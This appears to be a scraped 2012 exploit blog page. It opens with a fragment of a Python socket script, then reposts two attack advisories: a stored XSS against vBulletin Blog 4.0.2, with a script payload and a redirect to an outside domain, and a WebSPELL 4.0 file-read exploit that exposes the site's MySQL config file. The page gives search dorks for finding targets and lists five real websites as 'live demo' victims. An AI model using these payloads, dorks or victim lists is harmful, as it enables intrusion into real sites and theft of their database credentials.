“\x30\x30\x32\x00?

)

s = socket()

s.connect(host)

s.send(buff)

s.close()

terça-feira, 26 de junho de 2012

Exploit Vbulletin Blog 4.0.2 XSS Vulnerability

Vbulletin Blog 4.0.2 XSS Vulnerability
 
Author: FormatXformat
Version: Vbulletin 4.0.2
 
 
Dork:
Powered by vBulletin™  Version 4.0.2 Copyright © 2010 vBulletin Solutions, Inc. All rights reserved.
 
 
The script is affected by Permanent XSS vulnerability, so you can put in bad java script code
 
<script>alert('put this script in title')</script>
<meta http-equiv='Refresh' content='0;URL=http://db-exploit.com'>
 
1st register
 
Go to Blogs page
 
Create New Post
 
Inject your java script into Title Box
 
You must go back to Main page to see this XSS effect.
 
 
 
Greets: Neo, Sa3id, All Tkurd.net Members

terça-feira, 12 de junho de 2012

WebSPELL v4.0 Code Execution Exploit

[----]

/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-
\-/ --------------------------------------------/-----------------------------------------------|
\-/ [+] Exploit Title : WebSPELL v4.0 Code Execution Exploit                                    | 
\-/ [+] Date          : 03/04/2012                                                              |
\-/ [+] Author        : xConsoLe`                                                               |
\-/ [+] Made in Algeria*                                                                        |
\-/ [+] Category      : WebApps                                                                 |
\-/ [+] d0rk          : ext:php intitle:webSPELL v4.0                                           |
\-/ [+] Home          : N/A                                                                     |
\-/ [+] Tested on     : Windows Xp SP3                                                          |
\-/ ------------------------------------------------------\-------------------------------------|
/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-/\\-


  (  )   /\   _                 (
    \ |  (  \ ( \.(               )                      _____
  \  \ \  `  `   ) \             (  ___                 / _   \
 (_`    \+   . x  ( .\            \/   \____-----------/ (o)   \_
- .-               \+  ;          (  O                           \____
     Dz  4                 )        \_____________  `              \  /
(__    Ever <3       +- .( -'.- <. - _  VVVVVVV VV V\                 \/
(_____            ._._: <_ - <- _  (--  _AAAAAAA__A_/                |
  .    /./.+-  . .- /  +--  - .     \______________//_              \_______
  (__ ' /x  / x _/ (                                  \___'          \     /
 , x / ( '  . / .  /                                      |           \   /
    /  /  _/ /    +                                      /              \/
   '  (__/                                             /                  \

    x onsoL ` W s H r  .
     .     X   X   X X 
     .     X   X   X X 
     .     X   .   X X 
     .     X   .   X X 
     .     X   .   X X 
     .     .   .   . . 
                        
    xConsoLe` Was Here .


[+] Vulnerable Code :

[+] http://localhost/

[+] We can read the config file like this :

[+] http://localhost/picture.php?file=_mysql.php

[+] Right Clic > ShowSource

[+] ;D

[+] Live Demo :

  - http://www.echoes-guild.com/picture.php?file=_mysql.php

  - http://www.crazyfungamer.de/picture.php?file=_mysql.php

  - http://www.dj-pedrofernandez.de/cgi//picture.php?file=_mysql.php

  - http://r0fld2.uw.hu/picture.php?file=_mysql.php

  - http://www.street.clanfusion.de/picture.php?file=_mysql.php

[+] BAC Exam > J - 58 // Nchallah Tout le monde L'aura !

[+] Peace & Love

[+] I'm xConsoLe` & I'm Proud To be Algerian .

[----]